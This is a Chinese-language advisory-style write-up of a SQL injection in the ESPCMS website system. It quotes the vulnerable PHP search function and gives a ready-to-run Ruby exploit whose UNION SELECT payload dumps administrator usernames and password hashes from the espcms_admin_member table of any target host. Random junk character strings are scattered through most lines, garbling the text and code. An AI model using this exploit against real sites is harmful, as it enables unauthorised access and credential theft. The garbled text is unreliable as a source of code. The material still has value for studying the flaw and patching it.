0×0 漏洞概述0×1 漏洞细节
. h* \$ Q$ N, s0×2 PoC' l- `+ t, _" k3 d4 ?' d7 Z( ~
3 _# f* c$ n. D3 S. c$ S
) e; e6 R" s* R0 N2 m: k. K. z; s; ~" _$ x1 K+ L' }1 j
0×0 漏洞概述5 g! M' `/ `6 g6 y3 m/ X, Y9 b
$ W; i9 \- c6 G5 R) O, b, `易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。
+ y% t' ]* J G+ t" J) ]* E其在处理传入的参数时考虑不严谨导致SQL注入发生
, D% h: v7 P8 {" Q, u
& h @5 b/ G7 c; Z/ D. d8 g' b& a/ F2 p. h8 O
0×1 漏洞细节
& a4 A0 q: N& |* [2 P
( w3 F6 I; R; o" A6 A4 X变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。) Q! b8 g9 c6 t8 y! B1 |
正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。
1 m4 L: x, _# v/ K( h+ i而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。# W+ h: U, M3 z8 I2 {8 ]
Q% ]0 {/ M5 }' ^) b. ]7 d7 Y在/interface/3gwap_search.php文件的in_result函数中:- x: ~9 U( @& |! U9 w8 R r
3 N* g# h0 D" r2 [2 E6 v1 s7 n2 `+ J
% g9 x2 }; ]: [- {- d function in_result() {
2 b( K6 r) Q2 T0 g# A& R7 u ... ... ... ... ... ... ... ... ...
+ c @ @. \% V# @; D $urlcode = $_SERVER[ 'QUERY_STRING '];
# ]5 m5 `- f* [, M. E parse_str(html_entity_decode($urlcode), $output);
0 c' E t3 R* q- A# ^, B$ _7 w! L6 S- ~$ y* Y
... ... ... ... ... ... ... ... ...6 q! |( k0 _- d0 k: i5 m* E K
if (is_array($output['attr' ]) && count($output['attr']) > 0) {0 ?7 P3 [6 ]2 l* g5 Y& P. K/ N; f
% v2 \0 C, i9 l3 M& B, ]; r# e
$db_table = db_prefix . 'model_att';
) R2 c6 Q# }' ?: _2 Q7 s% ?) H2 {8 \0 q4 x" Y# h
foreach ($output['attr' ] as $key => $value) {3 \& D* O) n& t: _+ a' K" j E0 C/ E
if ($value) {
: E; A# {: `* H) s* m" J. c* j0 o7 y4 v- n
$key = addslashes($key);
# S# ?7 B0 c' I0 w $key = $this-> fun->inputcodetrim($key);5 R2 l+ y/ t: A3 H2 f
$db_att_where = " WHERE isclass=1 AND attrname='$key'";4 a/ O* P) `+ i6 k
$countnum = $this->db_numrows($db_table, $db_att_where);
0 A' I' b$ M# q if ($countnum > 0) {+ t* ~: u) v$ U3 h- q& n
$db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;
9 I( ~- p5 h# p5 j& a; o; C }5 m9 O. {9 a7 m3 b/ Y- l
} J8 e7 b; I5 F, {; g c3 E
}
, M+ X+ T" l, z0 b( [ }
/ n; R7 o5 M" q2 [! x5 | if (!empty ($keyword) && empty($keyname)) {
+ y% t5 K, j) L$ Z5 N8 v2 E $keyname = 'title';
* I8 ~* _; E* Z% n2 h, Z$ o $db_where.= " AND a.title like '%$keyword%'" ;
. S% J8 F, C7 M4 n+ Y t } elseif (!empty ($keyword) && !empty($keyname)) {- E% g/ [1 T3 P& U
$db_where.= " AND $keyname like '% $keyword%'";
% ?2 e' h: b% K: r, J' { }
2 i/ ^2 J3 J: h9 b( v; c2 P $pagemax = 15;
) L' |0 r J) Z
( V B6 |) P2 [8 f- a $pagesylte = 1;6 |' b& z* x% P# V
P, a5 u& t$ U' B- B5 n
if ($countnum > 0) {" x/ n% L- e8 K5 J$ {+ O# U
( V6 S" X0 {5 c $numpage = ceil($countnum / $pagemax);
9 |3 ~$ Q% h0 p6 J, z$ V' J) A } else {) q) H9 Z% S" c
$numpage = 1;
" j) H1 ^5 Q4 @: G }) M h6 N, C. u+ Q9 Z o! Z
$sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;
. i: _9 j( L2 F $this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);
8 g) F- G' x2 |/ d! z$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);
, b+ n, e2 M- l$ k" p6 H, {$ b ... ... ... ... ... ... ... ... ...% s2 g' u: B. r
}
, S& b* J( |2 V1 e. }/ ~- l/ r
+ Y2 O5 A' j' A" [
( D8 H* d* S3 ^0×2 PoC
% m+ q" W+ m/ ]5 w6 q V( u+ @
; Z' P- a% t) a1 ]9 A4 L
) X( {- @1 a. M, ?* ^. E, @( b, L8 ~8 G
require "net/http"; e- L0 S0 A# z1 H: d T1 v$ `
# u4 i8 w9 D' D" e- ?" z
def request(method, url)
) J% l- e+ M, }8 G4 o if method.eql?("get")
: x$ P" G/ _, C5 Z uri = URI.parse(url)
: s M! C$ `) b4 u4 [* _( z* U3 \ http = Net::HTTP.new(uri.host, uri.port)* W2 G* i4 E1 y( b- x1 w/ a4 j
response = http.request(Net::HTTP::Get.new(uri.request_uri))
4 L8 j4 Z) s6 O* D7 T( p& w: Z4 \- l return response7 T* b3 {) v; w
end
- H L X- x3 V7 Y7 {% z [ J2 fend
& [% Q0 h; n# d6 W# p$ j0 S
7 f M8 I4 ?; E( Cdoc =<<HERE) A# {7 d, T" z4 {0 x, z% V# a
-------------------------------------------------------
9 _% m/ b9 [ \Espcms Injection Exploit
1 g6 O0 n9 Z# V4 V- K3 [1 aAuthor:ztz
. h- _% \8 R* b3 P, a" dBlog:http://ztz.fuzzexp.org/
, \3 ^' g R: n------------------------------------------------------- U9 z) {$ x0 x% F
5 T1 A* Q/ J GHERE5 z" I) Q' Y7 \9 B
5 u' R& d; t1 I9 musage =<<HERE
- E9 p ^9 q$ K* Q; ]* nUsage: ruby #{$0} host port path
" }" W0 Q8 K3 X: T i* y4 P/ B+ vexample: ruby #{$0} www.target.com 80 /
! F$ U; j1 h# u% QHERE0 V+ Q1 V1 g9 j) H; ?5 `* G k6 P* W
1 Y$ y# t9 }( N+ Y2 q
puts doc! `6 S# O; k( x3 j$ T7 a7 j
if ARGV.length < 3
1 D: m7 k& Q" `; E puts usage2 ?3 f3 ~$ M$ h
else
( P4 L) Z* [) |! f( p5 x1 C0 @ $host = ARGV[0]
1 {* D. @9 G- t4 |4 O $port = ARGV[1]
' v: p* ~! G: Y& ?0 u9 @ $path = ARGV[2]' Z" [2 C: Z4 Q) r
' {) l( Q5 y! [+ c
puts "send request..."
6 L/ ~. p1 f( y4 Q* L" J url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&
9 a6 U. i- ]0 W ^6 U+ Sattr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,131 [# J" v) p8 t* o: q# ~
,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27
; S3 s" I% S) P, v0 I. q. N,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"2 Z# i3 U6 E) E" W
response = request("get", url)+ \+ m; w! [; y7 U: ~4 i% K* [) H$ x
result = response.body.scan(/\w+&\w{32}/)4 A1 K. S, ~0 w) z! d \; T
puts result
% C) Y' l2 b9 |- kend/ R3 j$ c7 Y: D
" d* v8 K3 [0 u |